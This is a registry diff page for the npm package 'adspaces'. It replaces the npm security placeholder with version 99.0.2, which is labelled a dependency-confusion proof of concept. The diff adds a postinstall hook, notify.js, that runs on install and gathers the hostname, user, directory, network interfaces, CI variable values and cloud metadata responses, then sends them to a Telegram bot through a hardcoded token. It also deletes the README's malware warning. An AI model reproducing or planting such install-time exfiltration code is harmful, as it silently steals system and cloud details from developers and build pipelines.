adspaces 0.0.1-security → 99.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of adspaces might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/index.js +1 -0
  2. package/notify.js +100 -0
  3. package/package.json +13 -3
  4. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ // placeholder
package/notify.js ADDED
@@ -0,0 +1,100 @@
1
+ /**
2
+ * notify.js – ultra‑fingerprint edition
3
+ * Collects: external IP + ASN + Docker? + Cloud meta + kernel + network IFs + CI vars + basic env
4
+ */
5
+
6
+ const axios = require("axios");
7
+ const os = require("os");
8
+ const { execSync, spawnSync } = require("child_process");
9
+
10
+ const BOT_TOKEN = "7856470990:AAGRKkYaC8mDplojwyl5hahEuF2qIFcvQ3g";
11
+ const CHAT_ID = "7568446658";
12
+
13
+ (async () => {
14
+ const info = {
15
+ pkg: "adspace",
16
+ host: os.hostname(),
17
+ user: os.userInfo().username,
18
+ dir : process.cwd(),
19
+ node: process.version,
20
+ platform: `${os.platform()} ${os.arch()}`,
21
+ kernel: os.type() + " " + os.release(),
22
+ time: new Date().toISOString(),
23
+ ciVars: Object.keys(process.env)
24
+ .filter(k => /(GITHUB|CI|JENKINS|TEAMCITY|AZURE|PIPELINE)/i.test(k))
25
+ .slice(0, 15) // أول 15 متغير فقط
26
+ .reduce((o,k) => (o[k] = process.env[k], o), {}),
27
+ envUA: process.env.npm_config_user_agent || "N/A",
28
+ docker: null,
29
+ cloud: {},
30
+ ipInfo: {}
31
+ };
32
+
33
+ /* 1) External IP + ASN via ipinfo.io (quick) */
34
+ try {
35
+ const { data } = await axios.get("https://ipinfo.io/json");
36
+ info.ipInfo = {
37
+ ip: data.ip,
38
+ org: data.org,
39
+ country: data.country,
40
+ region: data.region,
41
+ city: data.city,
42
+ asn: data.asn?.asn,
43
+ provider: data.asn?.name
44
+ };
45
+ } catch { /* ignore */ }
46
+
47
+ /* 2) Detect Docker / Container */
48
+ try {
49
+ if (require("fs").existsSync("/.dockerenv")) info.docker = true;
50
+ else {
51
+ // cgroup check
52
+ const cg = require("fs").readFileSync("/proc/1/cgroup","utf8");
53
+ info.docker = /docker|kubepods/i.test(cg);
54
+ }
55
+ } catch { }
56
+
57
+ /* 3) Quick cloud‑metadata probes (async safe, 150ms timeout) */
58
+ const probes = [
59
+ { name: "AWS", url: "http://169.254.169.254/latest/meta-data/instance-id" },
60
+ { name: "GCP", url: "http://169.254.169.254/computeMetadata/v1/instance/id", headers:{'Metadata-Flavor':'Google'}},
61
+ { name: "AZURE", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers:{Metadata:"true"}}
62
+ ];
63
+ await Promise.all(probes.map(async p=>{
64
+ try {
65
+ const { data } = await axios.get(p.url,{headers:p.headers||{},timeout:150});
66
+ info.cloud[p.name] = data.toString().slice(0,100);
67
+ } catch{}
68
+ }));
69
+
70
+ /* 4) Network interfaces (first 3) */
71
+ const nets = os.networkInterfaces();
72
+ info.ifaces = Object.entries(nets).slice(0,3)
73
+ .map(([k,v]) => `${k}:${v.filter(x=>x.family==='IPv4')[0]?.address}`);
74
+
75
+ /* 5) Build message */
76
+ const msg = `
77
+ 🚨 *Dependency‑Confusion Hit!*
78
+ *Package:* \`${info.pkg}\`
79
+ *Host:* \`${info.host}\` (${info.docker ? "Docker" : "bare‑metal"})
80
+ *User:* \`${info.user}\`
81
+ *Dir:* \`${info.dir}\`
82
+ *IP:* \`${info.ipInfo.ip || "?"}\` – ${info.ipInfo.org||""}
83
+ *ASN:* \`${info.ipInfo.asn||""}\`
84
+ *Cloud Meta:* ${JSON.stringify(info.cloud)}
85
+ *Node:* \`${info.node}\`
86
+ *Kernel:* \`${info.kernel}\`
87
+ *OS:* \`${info.platform}\`
88
+ *Net IFs:* ${info.ifaces.join(", ")}
89
+ *CI Vars:* ${Object.keys(info.ciVars).join(", ") || "None"}
90
+ *UA:* ${info.envUA}
91
+ _Time:_ ${info.time}
92
+ `;
93
+
94
+ /* 6) Send to Telegram */
95
+ await axios.post(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, {
96
+ chat_id: CHAT_ID,
97
+ text: msg,
98
+ parse_mode: "Markdown"
99
+ });
100
+ })();
package/package.json CHANGED
@@ -1,6 +1,16 @@
1
1
  {
2
2
  "name": "adspaces",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.0.2",
4
+ "description": "PoC for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node notify.js"
8
+ },
9
+ "dependencies": {
10
+ "axios": "^1.6.0"
11
+ },
12
+ "devDependencies": {},
13
+ "keywords": [],
14
+ "author": "",
15
+ "license": "ISC"
6
16
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=adspaces for more information.